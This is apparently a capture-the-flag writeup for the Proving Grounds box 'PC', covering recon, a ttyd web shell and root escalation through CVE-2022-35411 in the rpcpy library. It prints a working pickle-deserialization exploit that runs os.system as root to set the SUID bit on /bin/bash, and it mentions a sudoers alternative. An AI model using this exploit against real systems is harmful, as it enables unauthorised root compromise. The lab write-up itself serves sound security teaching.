# PC Writeup - Proving Grounds

> Intermediate Linux box where a browser-based ttyd terminal gives a low-privileged shell, then CVE-2022-35411, an insecure pickle deserialization in a local rpc.py service running as root, gives immediate root.

- **URL:** https://hackindex.io/writeups/pc
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** deserialization, rpcpy, privilege-escalation, suid, cve-2022-35411
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

PC hands out a low-privileged shell directly through a browser-based `ttyd` terminal. A locally-bound RPC service built with the `rpc.py` library is vulnerable to CVE-2022-35411, an insecure pickle deserialization that executes as root, giving an immediate privilege escalation.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE
# 8000/tcp open  http
```

Port 8000 serves a `ttyd` web terminal that drops straight into a shell as the low-privileged user `user`, with no further web exploitation needed.

## Enumeration

Look around the filesystem for anything unusual.

```bash
ls /opt
# rpc.py
```

`/opt/rpc.py` sets up an RPC server using the `rpcpy` library.

```python
if __name__ == "__main__":
    uvicorn.run(app, interface="asgi3", port=65432)
```

Supervisor configs confirm both services are managed processes, and a local connection check shows the RPC server is actually running on `127.0.0.1:65432`.

```bash
ls /etc/supervisor/conf.d/
# rpc.conf
# ttyd.conf
```

## Privilege Escalation

### rpc.py pickle deserialization (CVE-2022-35411)

`rpc.py` (the `rpcpy` PyPI package) is an ASGI/WSGI RPC framework. When a client sets the `serializer: pickle` header, the server unpickles the request body, which is known to be unsafe. **CVE-2022-35411** covers this for arbitrary code execution. Build a payload that abuses `__reduce__` to call `os.system`.

```python
import requests
import pickle

HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}

def generate_payload(cmd):
    class PickleRce(object):
        def __reduce__(self):
            import os
            return os.system, (cmd,)
    return pickle.dumps(PickleRce())

def exec_command(cmd):
    requests.post(url=URL, data=generate_payload(cmd), headers=HEADERS)

if __name__ == "__main__":
    exec_command('id;chmod u+s /bin/bash')
```

Run the exploit locally against the RPC service.

```bash
python3 expl.py
```

The RPC service runs as root, so the injected command executes with root privileges and sets the SUID bit on `bash`.

```bash
ls -alh /bin/bash
# -rwsr-xr-x 1 root root 1.2M Apr 18  2022 /bin/bash
```

```bash
/bin/bash -p -i
# bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
```

Effective root. The same primitive also works by writing a passwordless sudo rule directly to `/etc/sudoers`, as an alternative to the SUID approach.

Related

## References

- [CVE-2022-35411](https://nvd.nist.gov/vuln/detail/CVE-2022-35411) - rpc.py (rpcpy) insecure pickle deserialization leading to remote code execution.
